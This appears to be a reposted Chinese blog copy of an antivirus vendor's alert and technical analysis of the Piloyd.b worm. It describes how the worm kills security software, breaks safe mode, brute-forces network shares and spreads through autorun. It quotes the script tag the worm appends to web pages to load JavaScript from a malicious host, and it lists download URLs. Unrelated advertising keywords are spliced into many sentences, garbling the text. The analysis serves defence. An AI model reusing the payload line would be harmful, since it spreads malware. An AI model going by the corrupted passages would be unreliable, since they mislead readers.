“無極殺手”病毒年終爆發 平均每日感染超過萬台電腦“無極殺手”病毒年終爆發 平均每日感染超過萬台電腦 11月16日 ，江民全球病毒監控系統、雲安全防毒系統監測到一個名為“無極殺手”變種b（Win32/Piloyd.b）的病毒正在網際網路上瘋狂傳播，該病毒在短短20天的時間內就感染了37萬餘台電腦，更是躍升到江民病毒排行榜的第四位。 據江民反病毒專家介紹，Worm/Piloyd家族近期更新十分頻繁，其中以“無極殺手”變種b（Win32/Piloyd.b）最為明顯。該病毒運行後，會試信用貸款圖關閉大量安全軟體的相關進程（《江民殺毒軟體》不會被關閉），並利用註冊表映射檔劫持技術，使得這些安全程式下一次使用時無法再啟動；當發現系統中有特定的安全軟體存在時，病毒就會釋放惡意驅動程式以結束安全軟體的自我保護。 同時，病毒會通過自帶的弱密碼列表對網路上的芳鄰進行猜解，被猜解成功的電腦將受到病毒的感染，病毒會感染電腦上的“exe”、“htm”、“html”、“asp”、“aspx”和“rar”檔，當用戶運行這些受感染的可執行檔時，將會啟動病毒，自動術後面膜連接駭客指定的網站“http://bbnn7*.114central.com”，下載大量惡意程式，在所下載的惡意程式中有90%以上都是盜號木馬病毒，嚴重威脅用戶私密資訊安全。 江民反病毒專家提醒廣大用戶，由於該病毒還可以通過移動存儲設備進行傳播，因此建議用戶關閉系統自動播放功能或插入USB碟後在自動播放功能表中選擇殺毒軟體對USB碟進行接入前掃描，及時升級《江民殺毒軟體》病毒庫並對整個電腦系統進行檢查清理。 為了避免遭受更多的未知病毒侵害，反病毒專家建議安裝具備主網路行銷動防禦“沙盒技術”和啟發式掃描功能的正版殺毒軟體，開啟《江民殺毒軟體》主動防禦系統監控功能，該功能可對病毒試圖下載惡意程式、強行篡改系統時間、注入進程和調用其他惡意程式等行為進行監控並自動干預、處理，有效地遏制了未知病毒對系統所造成的干擾和破壞，更大程度的提高了電腦對於未知病毒的防範能力，確保用戶電腦免遭病毒侵害。江民發佈“無極殺手”病毒（Piloyd.b）技術分析報告 11月16日 ，江民反病毒中心監測到，一個名為“無極殺手”變種b（seoWin32/Piloyd.b）的病毒正在網際網路上瘋狂傳播，該病毒在短短20天的時間內就感染了37萬餘台電腦。 江民反病毒專家分析，病毒運行後，生成qmgr.dll病毒檔，載入sfc_os.dll並查找其5號導出函數，使得系統的檔保護對於其要修改的qmgr.dll失效，然後病毒從資源中讀取資料寫到qmgr.dll，修改該檔時間，並啟動對應的服務。然後在系統目錄下把自身複製為lsasvc.dll並在臨時目錄釋放“TempDel.bat”以刪除自身。 病毒檢查當前模組所在進程是否為吳哥窟360tray.exe，如果是則創建一個名為"360SpShadow0"的設備，通過發送IO控制碼的方式控制繞過360tray.exe的檢測，完成後，退出程式。 查找當前系統中是否存在進程"360tray.exe"，如果有，則將%SystemRoot%\system32\qmgr.dll複製為%SystemRoot%\system32\ 1l 1.dll,將%SystemRoot%\system32\ 1l 1.dll注入到目標進程空間，從而第一步的內容得到執行，完成後，刪除%SystemRoot%\system32\ 1l 1.dll，同時清空hosts檔。 完成以網路行銷上動作後，病毒會創建多個線程執行不同操作： 將qmgr.dll對應的BITS服務啟動類型設置為自動。 刪除如下HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\MinimalHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network破壞安全模式 然後在暫存檔案夾內創建一個名為LiTdi.sys的驅動，創建名為LiTdi服務，並啟動服務。查找相關殺毒軟體或安全軟體進程，並向驅動發送IO控制碼的方式結束相借貸關進程。 病毒還會調用IE訪問http://nbtj.114anhui.com/msn/163.htm做感染統計。從表項中依次選擇下載十幾種惡意程式，其中多數為盜號木馬。 病毒還會感染可移動存儲設備上的exe,rar,htm,html,asp,aspx文件，對於副檔名為.rar的檔，病毒還會解包感染以上副檔名檔後再壓縮回去。對於htm,html,asp,aspx的網頁檔，病毒會在其尾部加上“<script language=javascriptsrc=http://mm.aa88567.cn/index/mm.js></script>”的惡意代碼，使得這些網頁檔成為病毒小額信貸的二次傳播源，用戶一旦點擊這些被感染檔，則會被病毒感染。 病毒還會通過自動播放功能傳播。查找可移動存儲設備並在其根目錄下生成autorun.inf，建立一個名為recycle.{645FF040-5081-101B -9F 08-00AA 002F 954E}的文件夾，把%SystemRoot%\system32\dllcache\lsasvc.dll複製到該目錄下為Ghost.exe。 通過自帶的弱密碼列表對網路上的芳鄰進行猜解，被猜解成功的管理員帳戶密碼的電腦將受到感染；如果連接成功，則將房屋買賣C:\WINDOWS\system32\dllcache\lsasvc.dll拷貝到對方機器的C:\cm.exe，同時創建計畫任務以啟動該病毒。 針對該病毒，《江民防毒軟體》已緊急升級，用戶只需升級殺毒軟體到最新病毒庫，開啟主動防禦和即時監控，即可有效防禦病毒，免遭“無極殺手”病毒侵害，確保電腦資料安全。 引用:http://tw.myblog.yahoo.com/jw!VFZCb..QEQWi3mo.bkq_NLUk/article?mid=16536
.msgcontent .wsharing ul li { text-indent: 0; }
分享
關鍵字廣告 Facebook
Plurk
YAHOO!
.msgcontent .wsharing ul li { text-indent: 0; }
分享
關鍵字廣告 Facebook
Plurk
YAHOO!
全站熱搜
留言列表
